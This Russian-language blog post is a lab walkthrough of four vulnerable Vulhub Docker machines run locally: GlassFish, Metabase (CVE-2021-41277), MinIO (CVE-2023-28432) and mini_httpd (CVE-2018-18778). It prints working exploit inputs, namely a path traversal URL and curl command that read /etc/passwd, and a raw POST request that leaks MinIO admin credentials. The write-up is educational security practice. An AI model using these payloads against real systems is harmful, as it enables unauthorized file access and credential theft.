Всех приветствую, читатели Хабра!
Сегодня третья часть анализа защищенности веб-приложений Vulnhub.
Ссылки на первую и на вторую части.
Примечание
Правовая информация:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.
И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением.
В этой статье будет снова анализ защищенности веб-приложений на докер. Ссылка на докер-образы и описание как поднимать эти машины на докер в первой части. Рекомендую ознакомиться.
Алгоритм атаки будет почти как в первой части:
Запуск виртуальной машины (уязвимого веб-приложения) в сетевом интерфейсе
Поиск ip-адреса локального хоста, бриджа (бридж-сетевой мост, некоторые машины в примерах ниже будут на бриджах) в сетевом интерфейсе. Сканирование цели
Энумерация (в одном из примеров)
Эксплуатация уязвимости. Либо ее обнаружение без эксплуатации. Тут примеров и техник как и программ масса
Приступим к практике
1) Первая машина glassfish. В образе машины номер CVE уязвимости не дан.
Как всегда собираем, запускаем машину в директории с файлом с расширением .yml смотрим сетевые интерфейсы:
sudo docker-compose build
sudo docker-compose up -d
ifconfig
Сканируем ip хоста виртуальной машины, видим фильрованый порт 4848:
nmap 172.19.0.1
После чего заходим в браузер, забиваем 172.19.0.1:4848, жмем согласится с риском
Видим страничку
Суть уязвимости заключается в следующем: мы добавляем в URL адрес строку к http://ip:port/, что позволяет нам получить доступ к файлу /etc/passwd. Вот эта строка
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Или целиком в моем случае:
http://172.19.0.1:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Результат:
В прошлых частях я упоминал почему это плохо. Повторюсь, /etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей (аккаунтов). Является первым и основным источником информации о правах пользователя операционной системы. Существует в большинстве версий и вариантов UNIX-систем. Обязан присутствовать в POSIX-совместимой операционной системе. (https://wiki.ublinux.ru/ru/Использование/Настройка/Вводная_информация)
2) Вторая машина metabase, уязвимость CVE-2021-41277.
В предидущей директории не забываем уронить предидущую машину командой в терминале:
sudo docker-compose down
Далее в текущей директории с уязвимой машиной снова собираем, поднимаем, смотрим интерфейсы командами:
sudo docker-compose build
sudo docker-compose up -d
ifconfig
Сканируем ip:
nmap 172.19.0.1
Заходим по адресу 172.19.0.1:3000
В нем даже можно зарегистрироваться
После чего эксплуатируем уязвимость - при помощи запроса curl в терминале, и снова получаем доступ к /etc/passwd. В моем случае с учетом локального ip команда выглядит следующим образом:
curl -v http://172.19.0.1:3000/api/geojson?url=file:////etc/passwd
Снова доступ
3) minio, уязвимость CVE-2023-28432.
Роняем старую машину, собираем, запускаем новую, смотрим сеть
Правда в этом примере будет энумерация, и альтернативный способ решения
Для начала сканируем. Забегу вперед, у нас два открытых порта, и к обоим применим curl
nmap 172.19.0.1
curl 172.19.0.1:9000
curl 172.19.0.1:9001
Очень любопытный вывод
Ради практики провожу энумерацию dirsearch, хотя и безрезультатно.
dirsearch -u http://172.19.0.1:9000
Но почему именно на этот порт а не 9001? Потому что именно по нему практическим методом удалось зайти в браузере
Открываем burp suite. Перво наперво включаем захват пакетов (в предидущих частях сказано где это), открываем браузер и вбиваем адрес 172.19.0.1:9000
Полученные данные отправляемв репитер правой кнопкой мыши
В репитере подменяем реквест воттаким содержимым:
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
и жмем Send (отправить)
После чего в респонсе появляются заветные строки
Логин и пароль minioadmin minioadmin-vulnhub. Да, уязвимость дает доступ к паролю админа.
Далее вводим в форму и получаем доступ
Альтернативный путь
Но я смог решить эту машину и альтернативно, а точнее альтернативным ПО. Есть очень интересный инструмент ZAProxy, который является очень неплохим конкурентом burp.
Открываю программу zaproxy
Нажимаю Automated Scan (изображен синей молнией).
После чего ввожу в него адрес для сканирования (хотя это даже можно назвать полноценной атакой)
Если что, вот этот адрес (естественно необходимо указать ip на котором запустилась уязвимая машина):
http://your-ip:9000/minio/bootstrap/v1/verify
После чего нажимаем Attack. То что происходит далее проще показать на видео или в живую, так как любой адрес введеный в эту строку сначала энумеруется, затем инструмент ZAProxy, при обнаружении адреса для авторизации (в данном случае тот который и был введен) начинает брутфорс. Я наблюдал как открылось сразу несколько браузеров, в каждом этот адрес и в полях автоматически подставлялись пары логинов-паролей. Но брутфорс не дал результата, энумерация прошла. Инструмент хорош, на введённой странице (или в древе, т.е. каталоге) он обнаруживает и помечает все уязвимости которые обнаруживает. Вот описание исходной страницы с указанием уязвимости кросс-сайтвого скриптинга XSS
Далее в правом верхнем углу программы есть своего рода репитер (реквест-респонс)
Вбиваю в реквест тот же самый запрос
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
с указанием актуального ip уязвимой машины. Также жму Send, получаю тот же результат
4) mini_httpd, уязвимость CVE-2018-18778
Снова роняем старую машину, запускаем новую, проверяем сетевые интерфейсы по аналогии с предыдущими примерами. Сканируем машину:
nmap -p- 172.23.0.1
Снова заходим в burp во вкладку Proxy, захват пакетов, открываем браузер. В адресной строке вбиваем ip:порт цели (в моем случае 172.23.0.1:8080)
Перехваченный пакет отправляем в репитер
В репитере снова подменяем содержимое реквеста вот таким:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Единственное что здесь дописать Host: 172.23.0.1:8080
После чего в респонс придет ответ
Ничего необычного - снова доступ к /etc/passwd
На сегодня все, уважаемые читатели Хабра, до новых встреч!
